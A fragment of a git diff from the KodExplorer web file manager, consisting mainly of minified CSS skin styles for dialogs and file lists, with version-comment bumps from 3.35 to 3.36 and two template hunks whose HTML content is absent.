.aui_max{right:40px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAGElEQVQYlWNgYGD4TySGEATAqELiFBLEAISgI91xKgmgAAAAAElFTkSuQmCC");}body .aui_outer .aui_close{right:0px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAOUlEQVQYlWNgYGD4D8TGDLiBMVQNgzErOwcuxRhy2BTjNABZAp8tCMWEFBGtkCirifIM0cFDVIADAOrvG43QTSHZAAAAAElFTkSuQmCC");}body .aui_outer .aui_min,body .aui_outer .aui_max,body .aui_outer .aui_close{color:#888;background-position:center center;background-color:transparent;background-repeat:no-repeat;height:31px;width:40px;line-height:31px;-webkit-transition:background 0.2s;-moz-transition:background 0.2s;-o-transition:background 0.2s;-ms-transition:background 0.2s;transition:background 0.2s;}body .aui_outer .aui_min:before,body .aui_outer .aui_max:before,body .aui_outer .aui_close:before{content:"";}body .aui_outer .aui_min:hover,body .aui_outer .aui_min:active,body .aui_outer .aui_max:hover,body .aui_outer .aui_max:active,body .aui_outer .aui_close:hover,body .aui_outer .aui_close:active{color:#333;background-color:#ddd;}body .aui_outer .aui_close:hover{background-color:#e81123;color:#fff;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAOklEQVQYV2P4/+//+f/fv6cw4AAgOZAaCAMEsCjGkMOmGKcByBL4bEFVjE8R0QqJspoozxAdPMQGOABXELkNcbMs5wAAAABJRU5ErkJggg==");}body .aui_state_focus .aui_outer{box-shadow:0px 0px 20px rgba(0,140,255,0.46);border:1px solid #71b9f3;}body .copyright_dialog.dialog-simple .aui_close,body .share_dialog.dialog-simple .aui_close,body .check_version_dialog.dialog-simple .aui_close{opacity:0.6;background:rgba(0,0,0,0.4);}body .copyright_dialog.dialog-simple .aui_close:before,body .share_dialog.dialog-simple .aui_close:before,body .check_version_dialog.dialog-simple .aui_close:before{content:"\f00d";background-image:none;}body .copyright_dialog.dialog-simple .aui_close:hover,body .share_dialog.dialog-simple .aui_close:hover,body .check_version_dialog.dialog-simple .aui_close:hover{background-image:none;}body div.dialog-simple .aui_title{border-radius:0;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{background-color:rgba(255,255,255,0.8);border-radius:0;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:hover,body div.dialog-simple .aui_close:active{background-color:rgba(255,255,255,0.95);}body div.dialog-simple .aui_close{right:4px;}body div.dialog-simple .aui_close:hover,body div.dialog-simple .aui_close:active{background-color:#e81123;}body .do_search .search_desc{border-radius:0;background:#fefefe;border-bottom-color:#eee;}body .do_search .search_result{border-radius:0;}body #selContainer{border:1px solid #195694;background-color:#62a2e4;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fff;border-right:1px solid #eee;}body .frame-main .frame-left .ztree li a{margin:0 2px;border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body .frame-main .frame-left .ztree li a.curSelectedNode .button.switch:after,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .button.switch:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .button.switch:after{color:inherit !important;}body .frame-main .frame-left .ztree li a span.button.switch:after{content:"\f105";font-size:16px;}body .frame-main .frame-left .ztree li a span.button.switch.noline_open:after,body .frame-main .frame-left .ztree li a span.button.switch.noline_open_hover:after{content:"\f107";font-weight:800;color:#76bdf7;}body .frame-main .frame-left .ztree li a span.button.switch.noline_docu:after{content:"";opacity:0;filter:alpha(opacity=0);}body .file_select{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body .file_hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.fileContiner .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.fileContiner .file.file2{background:#fffbf1;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.fileContiner .file.hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.fileContiner.fileList_list_split .file,body div.fileContiner.fileList_list .file{margin-bottom:1px;}body #main_title .filename:hover,body #main_title .filesize:hover,body #main_title .filetype:hover,body #main_title .filetime:hover,body #main_title .this{background:#e5f3ff;}body .context-menu-list{box-shadow:4px 5px 10px rgba(0,0,0,0.2);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#e1e1e1;color:#444;}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#888;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#888;}body .context-menu-list .hover > span > b{color:#888;}body #body .menu_left,body #body .app_menu_left{background:#fff;border-right:1px solid #f1f1f1;}body #body .menu_left h1,body #body .app_menu_left h1{font-weight:400;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#e6e6e6;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#e1e1e1;border-color:#ccc;}body #body .main .list{border-radius:0;}body #body .panel{margin-left:-1px;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#fff;color:#666;border-color:#ddd;border-bottom-color:#fff;}body .frame-main .frame-right .frame-right-main .tools{border-color:#eee;}body .task_tab{background:rgba(0,0,0,0.05);border-top:1px solid rgba(0,0,0,0.05);}body .task_tab .tabs .tab{border-radius:0px;box-shadow:0 0 1px #444;}body .task_tab .tabs .tab.this{box-shadow:0 0 6px #2196f3;border-color:#2196f3;}body .tasktab-dragging{box-shadow:0 0 6px #2196f3;border-color:#2196f3;}body div.tools .right .btn{background:#f3f3f3;border-radius:0;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.35(2016-12-23) [build 1482476940.8316] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112853.9604] */ \ No newline at end of file diff --git a/static/style/skin/win7.css b/static/style/skin/win7.css index 3250351..74f87c7 100755 --- a/static/style/skin/win7.css +++ b/static/style/skin/win7.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476940.7872] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112853.9174] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .topbar{background:url("./../../images/common/login.png") repeat-x 0px -44px;box-shadow:0 0 10px rgba(0,0,0,0.2);}body .topbar .content a.topbar_menu{border-color:#4499dd;border-color:rgba(255,255,255,0.1);}body .topbar .content a.topbar_menu.this,body .topbar .content a.topbar_menu:hover{background:#49d;background:rgba(255,255,255,0.4);border-color:rgba(255,255,255,0.1);}body .aui_border{background:url("./../../images/common/dialog/dialog.png") -200px 350px;}body .aui_state_focus .aui_title,body .aui_title{background:none;color:#444;text-shadow:0px 0px 0px #000, 0px 0px 1px #aaa, 0px 0px 4px #fff, 0px 0px 8px #fff;}body .aui_outer,body .aui_state_focus .aui_outer{border-radius:5px;text-align:left;background:url("./../../images/common/dialog/dialog.png") -100px 100px;border:1px solid #bbb;border-color:rgba(255,255,255,0.7);position:relative;box-shadow:0 0 8px rgba(0,0,0,0.5), 0 0 1px rgba(0,0,0,0.9);-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;}body .aui_state_lock .aui_outer,body .aui_state_lock .aui_state_focus .aui_outer{border:1px solid #bbb;border-color:rgba(0,0,0,0.1);}body .aui_inner{border:1px solid #ddd;background:#fff;border-color:rgba(0,0,0,0.3);}body .aui_dialog{border-radius:2px;}body .aui_border{border-radius:4px;}body .aui_nw,body .aui_ne{width:4px;height:32px;}body .aui_sw,body .aui_se{width:4px;height:4px;}body .aui_nw,body .aui_n,body .aui_ne,body .aui_w,body .aui_e,body .aui_sw,body .aui_s,body .aui_se{background:#999 \9 !important;background:#fff;opacity:0.15;filter:alpha(opacity=15);}body .aui_titleBar{width:100%;height:0;position:relative;bottom:33px;_bottom:0;_margin-top:-33px;}body .aui_min,body .aui_min:hover,body .aui_min:active{right:81px;width:27px;background:url("./../../images/common/dialog/btn-min.png") no-repeat;}body .aui_max,body .aui_max:hover,body .aui_max:active{right:54px;width:27px;background:url("./../../images/common/dialog/btn-max.png") no-repeat;}body .aui_close,body .aui_close:hover,body .aui_close:active{right:5px;width:49px;background:url("./../../images/common/dialog/btn-close.png") no-repeat;}body .aui_max,body .aui_min,body .aui_close{position:absolute;text-decoration:none;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:transparent;font-size:0px;cursor:pointer;z-index:10;top:-1px;height:19px;background-position:0 -19px;background-color:none;}body .aui_max:hover,body .aui_min:hover,body .aui_close:hover{background-position:0 -38px;}body .aui_max:active,body .aui_min:active,body .aui_close:active{background-position:0 0px;}body div.dialog-simple .aui_max,body div.dialog-simple .aui_min,body div.dialog-simple .aui_close{background-image:none;}body .dialogMax .aui_nw,body .dialogMax .aui_ne,body .dialogMax .aui_sw,body .dialogMax .aui_se,body .dialogMax .aui_w,body .dialogMax .aui_e{width:0px;}body .dialogMax .aui_sw,body .dialogMax .aui_n,body .dialogMax .aui_se{height:0px;}body .dialogMax .aui_outer{border:none;}body .dialogMax .aui_max{background:url("./../../images/common/dialog/btn-reg.png") 0 -19px;}body .dialogMax .aui_max:hover{background-position:0 -38px;}body .dialogMax .aui_max:active{background-position:0 0px;}body .aui_buttons{padding:8px;border-top:1px solid #eee;border-radius:0px 0px 3px 3px;}body .aui_buttons button{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);margin-left:15px;padding:6px 10px;border-radius:2px;height:auto;color:#333;border:solid 1px #999;text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);-webkit-transition:box-shadow linear .2s;-moz-transition:box-shadow linear .2s;-o-transition:box-shadow linear .2s;-ms-transition:box-shadow linear .2s;transition:box-shadow linear .2s;}body .aui_buttons button:focus{outline:none 0;border-color:#426DC9;box-shadow:0 0 8px rgba(66,109,201,0.9);}body .aui_buttons button:hover{color:#000;border-color:#666;border-color:#426DC9;}body .aui_buttons button:active{border-color:#666;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background:#fff;background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);}body .aui_buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui_buttons button.aui_state_highlight{color:#FFF;border:solid 1px #1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background:#2288cc;background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);text-shadow:-1px -1px 1px #1c6a9e;}body .aui_buttons button.aui_state_highlight:hover{color:#FFF;border-color:#0F3A56;background:#2288cc;}body .aui_buttons button.aui_state_highlight:active{border-color:#1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background:#2288cc;background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);}body .check_version_dialog.dialog-simple .aui_titleBar{margin-top:-155px;}body .do_search .search_result{margin:15px;}body #selContainer{border:1px solid #004c99;background-color:#39f;}body .frame-main .bottom_box{border-color:#e6e6e6;}body .frame-main .frame-left{background:#fff;border-color:#e6e6e6;}body .frame-main .frame-left .ztree li a{border:1px solid #fafafa;border-color:transparent;margin:0px 4px 0 4px;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;padding:0px;padding-left:9px;vertical-align:top;}body .frame-main .frame-left .ztree li a:hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);box-shadow:0 0 1px #3377ff;}body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_close:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_close:after{color:#39f !important;}body .frame-main .frame-left .ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #1aa1ff inset !important;}body .frame-main .frame-left .ztree li a input.rename{margin-top:0px;height:22px;}body .file_select{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .file_hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body div.fileContiner .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body div.fileContiner .file.hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .dropdown-menu,body .topbar .content .top_right ul{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.2);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.2);box-shadow:2px 3px 2px rgba(0,0,0,0.2);border:1px solid #ccc;border-radius:0;padding:3px;background:#f8f8f8;}body .dropdown-menu .this a,body .dropdown-menu a.this,body .topbar .content .top_right ul .this a,body .topbar .content .top_right ul a.this{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .dropdown-menu li > a,body .topbar .content .top_right ul li > a{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;margin:0 2px;border:1px solid transparent;}body .dropdown-menu li > a:hover,body .dropdown-menu li > a:focus,body .topbar .content .top_right ul li > a:hover,body .topbar .content .top_right ul li > a:focus{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body .frame-main .frame-right .frame-right-main .drop-menu-action a{padding:3px 30px;}body .context-menu-list{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.3);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.3);box-shadow:2px 3px 2px rgba(0,0,0,0.3);border:1px solid #aaa;border-radius:0;padding:3px;background:#f1f1f1 url("./../../images/common/line.png") 28px 0 repeat-y;}body .context-menu-list .context-menu-item{padding:0px 15px 0 5px;border:1px solid #f8f8f8;border-color:transparent;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;}body .context-menu-list .context-menu-item .font-icon{width:30px;}body .context-menu-list .context-menu-item.context-menu-separator{height:2px;background:url("./../../images/common/line_x.png") 27px no-repeat;margin:2px 0 2px;border-bottom:none;}body .context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#444;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;color:#666;border-color:rgba(51,153,255,0.7);}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#666;}body .context-menu-list .context-menu-item.hover span > b,body .context-menu-list .context-menu-item.selected.hover span > b{color:#aaa;}body .context-menu-list .context-menu-item .selected,body .context-menu-list .context-menu-item .selected.hover{border-left:1px solid #b3d9ff;} -/* ver 3.35(2016-12-23) [build 1482476940.7872] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112853.9174] */ \ No newline at end of file diff --git a/template/explorer/content.php b/template/explorer/content.php index 33ec9be..b3e0964 100755 --- a/template/explorer/content.php +++ b/template/explorer/content.php @@ -42,7 +42,7 @@ -
        +
        diff --git a/template/user/login.html b/template/user/login.html index c02e55e..31cc02b 100755 --- a/template/user/login.html +++ b/template/user/login.html @@ -26,6 +26,7 @@ echo ''; echo ''; ?> +